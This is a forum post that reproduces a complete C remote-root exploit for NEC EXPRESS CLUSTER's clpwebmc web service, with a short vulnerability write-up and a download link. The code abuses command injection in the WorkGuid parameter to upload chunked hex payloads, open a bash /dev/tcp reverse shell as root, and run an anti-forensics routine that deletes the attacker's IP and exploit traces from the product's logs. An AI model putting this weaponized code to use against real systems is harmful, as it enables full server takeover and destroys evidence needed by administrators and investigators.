Jump to content
Fi8sVrs

NEC EXPRESS CLUSTER clpwebmc Remote Root

Recommended Posts

  • Active Members
Posted

NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster configuration and management. The underlying webserver 'clpwebmc' runs as root and accepts connections on TCP port 29003 which can be initiated without authentication in the default installation.

 

/* 
 * 2017 update: as of 3.3.4 this bug seems to be fixed
 * - fixed versions:
 * NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64)
 * NEC EXPRESSCLUSTER X SingleServerSafe 3.3.4-1 for Linux(amd64)
 */
/*
 * *** THIS IS PRIVATE + UNPUBLISHED (0-DAY) SOURCE CODE, DO NOT DISTRIBUTE ***
 *
 *   NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte 2015
 *                        <vincitamorpatriae@gmail.com>
 *
 * - product description:
 * NEC EXPRESS CLUSTER is a family of integrated high availability and disaster
 * recovery software solutions that address the fast recovery and continuous
 * protection needs of business critical applications and data. With increased
 * servers and complexity of server applications running Windows or Linux,
 * EXPRESS CLUSTER minimizes planned and unplanned system outages.
 * 
 * - vulnerability description:
 * NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster
 * configuration and management. The underlying webserver 'clpwebmc' runs as
 * root and accepts connections on TCP port 29003 which can be initiated without
 * authentication in the default installation.
 * 
 * A function is available to remove temporary work directories by issuing the
 * following GET request to port 29003, appended with the location of the
 * directory that is supposed to be deleted:
 * GET /DeleteWorkDirectory.js?WorkGuid=directoryname
 * 
 * The working of the DeleteWorkDirectory.js HTTP request roughly translates to
 * the following C code:
 *
 * void
 * remove_dir_path(char *WorkGuidParameter)
 * {
 * 	char x[128];
 * 	snprintf(x, sizeof(x), "rm -fr /opt/nec/clusterpro/%s",
 * 	    WorkGuidParameter);
 * 	system(x);
 * }
 *
 * No input sanitation is performed and the supplied arguments are passed
 * straight on to system(). By setting the WorkGuid parameter to '0' and
 * appending  a semicolon followed by arbritrary commands it is possible to
 * execute those commands as root on the remote machine.
 * 
 * Example HTTP GET request with command injection:
 * GET /DeleteWorkDirectory.js?WorkGuid=0;id>/tmp/id.txt
 *
 * Which results on the remote host:
 * $ ls -la /tmp/id.txt
 * -rw-rw-rw-  1 root root 57 Apr 20 16:37 /tmp/id.txt
 * $ cat /tmp/id.txt
 * uid=0(root) gid=0(root) groups=0(root)
 *
 * - tested vulnerable versions:
 * NEC EXPRESSCLUSTER X 3.3.0-1 for Linux(x86_64) on CentOS 6
 * NEC EXPRESSCLUSTER X 3.1 for Linux(x86_64) on CentOS 6
 * NEC EXPRESSCLUSTER X 2.1.4-1 for Linux(x86_64) on CentOS 6
 * NEC ExpressCluster X LAN for Linux 2.0.2-1 i686 on CentOS 5
 * NEC ExpressCluster X WAN for Linux 2.0.2-1 i686 on CentOS 5
 *
 * - tested versions not vulnerable:
 * NEC ExpressCluster SE for Linux 3.1 i386 on RHEL 4
 *
 * - exploit details:
 * This exploit is fully "weaponized" as they call it nowadays. It starts a
 * listening port on the attacking host and connects back from the victim host
 * using bash /dev/tcp redirection. The attacking host cannot be behind NAT or
 * run a firewall due to the nature of connect-back.
 * 
 * A payload system is utilised where commands are encoded to hex and split into
 * chunks. These chunks are then sent one by one to the victim host and appended
 * to a temporary file using 'echo -ne'. The temporary file gets executed in the
 * last request.
 *
 * For OPSEC purposes the temporary file will destroy itself and
 * all traces of the exploit and your IP will be deleted from these log files:
 * /opt/nec/clusterpro/log/webmgr.log.cur
 * /opt/nec/clusterpro/log/webmgr.err.cur
 *
 * - exploit compilation:
 * gcc -Wall clpwebmc0day-v2.c -o clpwebmc0day-v2
 *
 * - the exploit connect-back listener is confirmed to work on:
 * CentOS 6
 * Fedora 22
 * OS X 10.10.5
 *
 */

#include <arpa/inet.h>
#include <netinet/in.h>

#include <sys/socket.h>
#include <sys/types.h>

#include <fcntl.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define HDR "NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte"

#define HEAD "HEAD / HTTP/1.1"
#define CLPWEBMCPORT 29003
#define DEFAULTPORT 8080
#define GET "GET /DeleteWorkDirectory.js?WorkGuid=0;" /* the vulnerability */
#define INFO "GET /GetConfiguration.js?WebMgrVersion=0" /* nice info leak */
#define AUTH "Authorization: admin:"
#define HTTP " HTTP/1.1\n"
#define CRLF "\n\n"

#define BUFSIZE	1024
#define MAXPROCCMD 194 /* max len of request.c: process_command parameter */

#define CMD "unset HISTFILE; cd /; /bin/uname -a; /usr/bin/id\n"

#define CHMOD "chmod 755 "
#define OVERWRITE "head -1024 /dev/urandom>"
#define UNLINK "rm -f "
#define ECHOAUTH "%secho -ne \"%s\">>%s%s%s%s"
#define ECHO "%secho -ne \"%s\">>%s%s"
#define LOG "/opt/nec/clusterpro/log/webmgr"
#define ECPATH "/opt/nec/clusterpro/0"
/* use the logged info leak GET request to find out the IP to connect-back */
#define CONNECTBACK "(/bin/bash 0</dev/tcp/" \
			"$(grep GetConfiguration %s.log.cur|" \
			"grep IP=|tail -1|tr ':' '\\n'|" \
			"grep Root=1|cut -d, -f1)" \
			"/%d 1>&0 2>&0) &"
/* remove all log entries that reveal the vulnerability, exploit and our IP */
#define ANTIFOR "(sleep 5;for x in log err;do " \
		    "grep -vE 'd=0|n=0|%s|check_pass|system' %s.$x.cur>%s.0;" \
		    "cat %s.0>%s.$x.cur;" \
		    "rm -f %s.0;" \
		    "done) &"
/* TMPPATH is the remote directory where the payload will be stored, you could
 * use /tmp but there's a fair chance that the sysadmin has mounted that with
 * 'noexec'
 */
#define TMPPATH "/opt/nec/clusterpro/log"

int sock;
int listsock;
int list_s;
int flags;
int port = CLPWEBMCPORT;
int connectback = DEFAULTPORT;

extern char *__progname;
char *host;
char *md5;

int
validport(int port, char *p)
{
	if ((port < 1) || (port > 65535)) {
		printf("error: %d is an invalid %s port\n", port, p);
		return(1);
	}

	return(0);
}

void
usage()
{
	printf("usage: %s -h <host> [-p|-c|-m]\n", __progname);
	printf("\t-p [port (default: %d)]\n", port);
	printf("\t-c [connect-back port (default: %d)]\n", connectback);
	printf("\t-m [admin user md5 hash]\n\n");
	exit(1);
}

char
*genrandom()
{
	int len = strlen(TMPPATH) + 8;
	int n;

	char *s = "AbCdEfGhIjKlMnOpQrXtUvWxYz";
	char *r = malloc(sizeof(char)*(len + 1));

	sprintf(&r[0], "%s/", TMPPATH);

	srand(time(NULL));
	for (n = strlen(TMPPATH) + 1; n < len; n++)
		r[n] = s[rand() % strlen(s)];

	r[len] = '\0';

	return(r);
}

int
opensock(char *host, unsigned short int port)
{
	int s;

	struct hostent *target;
	struct sockaddr_in addr;

	target = gethostbyname(host);
	if (target == NULL) {
		perror("gethostbyname");
		exit(1);
	}

	s = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
	if (s == -1) {
		perror("socket");
		exit(1);
	}

	memcpy(&addr.sin_addr, target->h_addr, target->h_length);

	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

	if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
		perror("connect");
		exit(1);
	}

	return(s);
}

void
sendsock(char *buf)
{
	char readbuf[1024];

	if (strlen(buf) >= MAXPROCCMD) {
		printf("sendsock() max len exceeded");
		exit(1);
	}

	sock = opensock(host, port);
	if (write(sock, buf, strlen(buf)) < 0) {
		perror("write");
		exit(1);
	}

	if (write(sock, CRLF, strlen(CRLF)) < 0) {
		perror("write");
		exit(1);
	}

	if (read(sock, readbuf, sizeof(readbuf) - 1) < 0) {
		perror("read");
		exit(1);
	}

	if (strstr(readbuf, "HTTP/1.1 200 OK") == NULL) {
		if (strstr(readbuf, "HTTP/1.1 403 Forbidden") != NULL)
			printf("[!] md5 hash is invalid %s\n", md5);
		else
			printf("[!] unknown error: [%s][%lu]\n", readbuf,
			    strlen(readbuf));

		exit(1);
	}

#ifdef VERBOSE
	printf("[-] sendsock(): HTTP/1.1 200 OK\n");
#endif
	close(sock);
}

void
writepayload(char *p, char *path)
{
	char buf[MAXPROCCMD];

	if (md5 == NULL)
		snprintf(buf, sizeof(buf), ECHO,
		    GET, p, path, HTTP);
	else
		snprintf(buf, sizeof(buf), ECHOAUTH,
		    GET, p, path, HTTP, AUTH, md5);

	if (strlen(buf) > MAXPROCCMD) {
		printf("writepayload(): \"%s\" size exceeds MAXPROCCMD\n", buf);
		exit(1);
	}

	sendsock(buf);
}

void
execpayload(char *path)
{
	char buf[MAXPROCCMD];

	printf("[*] executing payload\n");

	if (md5 == NULL) {
		snprintf(buf, sizeof(buf), "%s%s%s%s", GET, CHMOD, path, HTTP);
		sendsock(buf);

		snprintf(buf, sizeof(buf), "%s%s%s", GET, path, HTTP);
		sendsock(buf);
	} else {
		snprintf(buf, sizeof(buf), "%s%s%s%s%s%s", GET, CHMOD, path,
		    HTTP, AUTH, md5);
		sendsock(buf);

		snprintf(buf, sizeof(buf), "%s%s%s%s%s", GET, path, HTTP, AUTH,
		     md5);
		sendsock(buf);
	}
}

void
sendcmd(char *p, char *path)
{
	int i;
	int n = 1;
	int c = 0;
	int maxchunksize;
	int req;

	static char buf[MAXPROCCMD];

	if (md5 == NULL) {
		req = strlen(GET) + strlen(HTTP) + strlen(path) + \
			strlen(ECHO) + strlen(CRLF);
	} else {
		req = strlen(GET) + strlen(HTTP) + strlen(path) + \
			strlen(ECHOAUTH) + strlen(CRLF) + strlen(AUTH) + \
			strlen(md5);
	}

#ifdef VERBOSE
	printf("[-] command: \"%s\"\n", p);
#endif

	maxchunksize = (MAXPROCCMD - req) / 4;

	/* make the payload destroy itself on the filesystem during execution
	 */
	printf("[*] adding self destruct to payload: %s\n", path);
	snprintf(buf, sizeof(buf), "%s%s 2>&1;", OVERWRITE, path);
	writepayload(buf, path);
	snprintf(buf, sizeof(buf), "%s%s;", UNLINK, path);
	writepayload(buf, path);
	
	if (strlen(p) > maxchunksize) {
		printf("[-] command exceeds available space in GET request\n");
		printf("[-] have to split in chunks\n");
	}

	printf("[*] uploading command payload to: %s\n", path);
	printf("    payload size: %lu\n", strlen(p)); 
	printf("    payload chunk space: %d\n", maxchunksize);
	printf("    number of chunks: %lu\n", strlen(p) / maxchunksize);

	printf("[*] uploading:\n");
	printf("    chunk %d", n);
#ifdef VERBOSE
	printf(" |  ");
#endif

	/* turn commands into a hex payload of 'maxchunksize' byte chunks which
	 * are saved to the filesystem. this is to bypass '&' filtering and to
	 * get around the maximum size of GET requests allowed by clpwebmc
	 */
	for (i = 0; i < strlen(p); i++) {
		sprintf(&buf[c * 4],"\\x%02x", p[i]);
#ifdef VERBOSE
		printf("  %c ", p[i]);
#endif
		if (c == (maxchunksize - 1)) {
			
#ifdef VERBOSE
			printf("\n    chunk %d", n);
			printf(" | %s", buf);
#endif
			printf("\n");
			writepayload(buf, path);
			c = 0;
			n++;

			printf("    chunk %d", n);
#ifdef VERBOSE
			printf(" |  ");
#endif
		} else {
			c++;
		}
	}

#ifdef VERBOSE
	printf("\n    chunk %d", n);
	printf(" | %s", buf);
#endif
	printf("\n");

	writepayload(buf, path);

	execpayload(path);
}

void
checkserver()
{
	char buf[BUFSIZE];

	sock = opensock(host, port);
	if (write(sock, HEAD, strlen(HEAD)) < 0) {
		perror("write");
		exit(1);
	}

	if (write(sock, CRLF, strlen(CRLF)) < 0) {
		perror("write");
		exit(1);
	}

	if (read(sock, buf, sizeof(buf) - 1) < 0) {
		perror("read");
		exit(1);
	}

	close(sock);

	/* older clpwebmc versions present themselves as: ClusterProWebmanager
	 * newer versions use: ClusterWebmanager
	 */
	if (strstr(buf, "Server: Cluster") == NULL || \
	    strstr(buf, "Webmanager") == NULL) {
		printf("error: %s:%d is not running clpwebmc\n", host, port);
		exit(1);
	}

	/* this GET request gets logged */
	sock = opensock(host, port);
	if (write(sock, INFO, strlen(INFO)) < 0) {
		perror("write");
		exit(1);
	}

	if (write(sock, CRLF, strlen(CRLF)) < 0) {
		perror("write");
		exit(1);
	}

	if (read(sock, buf, sizeof(buf) - 1) < 0) {
		perror("read");
		exit(1);
	}

	close(sock);

	/* OS checker
	 * WebMgrVersion="WebMgr2.1.1_Linux"
	 * WebMgrVersion="WebMgr3.0.0_Win"
	 */
	if (strstr(buf, "_Linux\"") == NULL) {
		printf("\n");
		printf("[!] cannot exploit, %s is not running Linux\n", host);
		printf("    (your IP has been logged by the target system)\n");
		exit(1);
	}

	printf("[-] %s:%d is Linux running clpwebmc\n", host, port);

	if ((strstr(buf, "NeedPasswdAuth=0") == NULL) && (md5 == NULL)) {
		printf("[!] cannot exploit: clpwebmc has a password set\n");
		printf("    see usage how to send an admin password\n");
		printf("    (your IP has been logged by the target system)\n");
		printf("\n");
		usage();
		exit(1);
	}
}

void
setuplistener()
{
	struct sockaddr_in addr;

	printf("[*] setting up connect-back listener on port: %d\n",
	    connectback);

	if ((list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
		perror("socket");
		exit(1);
	}

	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = htonl(INADDR_ANY);
	addr.sin_port = htons(connectback);

	if (bind(list_s, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
		perror("bind");
		exit(1);
	}

	if (listen(list_s, BUFSIZE) < 0) {
		perror("listen");
		exit(1);
	}

	/* set O_NONBLOCK on listening socket */
	flags = fcntl(list_s, F_GETFL, 0);
	if (fcntl(list_s, F_SETFL, flags | O_NONBLOCK) == -1) {
		perror("fcntl");
		exit(1);
	}
}

void
connectshell()
{
	int p;

	char buf[BUFSIZE];

	struct timeval tm;

	fd_set rset;

	printf("[*] connecting to shell\n");

#ifdef __APPLE__
	/* remove O_NONBLOCK flag on OS X machines */
	flags = fcntl(list_s, F_GETFL, 0);
	if (fcntl(list_s, F_SETFL, flags |~ O_NONBLOCK) == -1) {
		perror("fcntl");
		exit(1);
	}
#endif

	if ((listsock = accept(list_s, NULL, NULL)) < 0) {
		perror("accept");
		exit(1);
	}

	p = send(listsock, CMD, strlen(CMD), 0);
	if (p == -1) {
		perror("send");
		exit(1);
	}

	printf("[-] connect-back successful\n\n");

	tm.tv_sec = 10;
	tm.tv_usec = 0;

	while (1) {
		FD_ZERO(&rset);
		FD_SET(listsock, &rset);
		FD_SET(STDIN_FILENO, &rset);
		select(listsock + 1, &rset, NULL, NULL, &tm);

		if (FD_ISSET(listsock, &rset)) {
			p = read(listsock, buf, sizeof(buf) - 1);
			if (p <= 0)
				exit(0);

			buf[p] = 0;
			printf("%s", buf);
		}

		if (FD_ISSET(STDIN_FILENO, &rset)) {
			p = read(STDIN_FILENO, buf, sizeof(buf) - 1);

			if (p > 0) {
				buf[p] = 0;
				write(listsock, buf, p);
			}
		}
	}
}

int 
main(int argc, char *argv[]) {
	int opt;

	char cmd[BUFSIZE];

	printf("%s\n\n", HDR);

	if (argc < 3)
		usage();

	while ((opt = getopt(argc, argv, "h:p:c:m:")) != -1)
		switch (opt) {
			case 'h':
				host = optarg;
				break;
			case 'p':
				port = atoi(optarg);
				if (validport(port, "target") != 0)
					exit(1);
				break;
			case 'c':
				connectback = atoi(optarg);
				if (validport(connectback, "connect-back") != 0)
					exit(1);
				break;
			case 'm':
				md5 = optarg;
				printf("[-] using admin auth: %s\n", md5);
				break;
			default:
				usage();
		}

	if (host == NULL)
		usage();

	checkserver();
	setuplistener();

	snprintf(cmd, sizeof(cmd), CONNECTBACK, LOG, connectback);
	sendcmd(cmd, genrandom());

	/* remove all traces of the payload that were logged by webmgr
	 * also remove all remove_tmp_webm system entries as it reveals our vuln 
	 */
	printf("[-] anti-forensics: %s.log.cur and %s.err.cur\n", LOG, LOG);
	snprintf(cmd, sizeof(cmd), ANTIFOR, ECPATH, LOG, LOG, LOG, LOG, LOG);
	sendcmd(cmd, genrandom());

	connectshell();

	/* never reached */
	return(0);
}

Download clpwebmc0day-v3.c

Source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...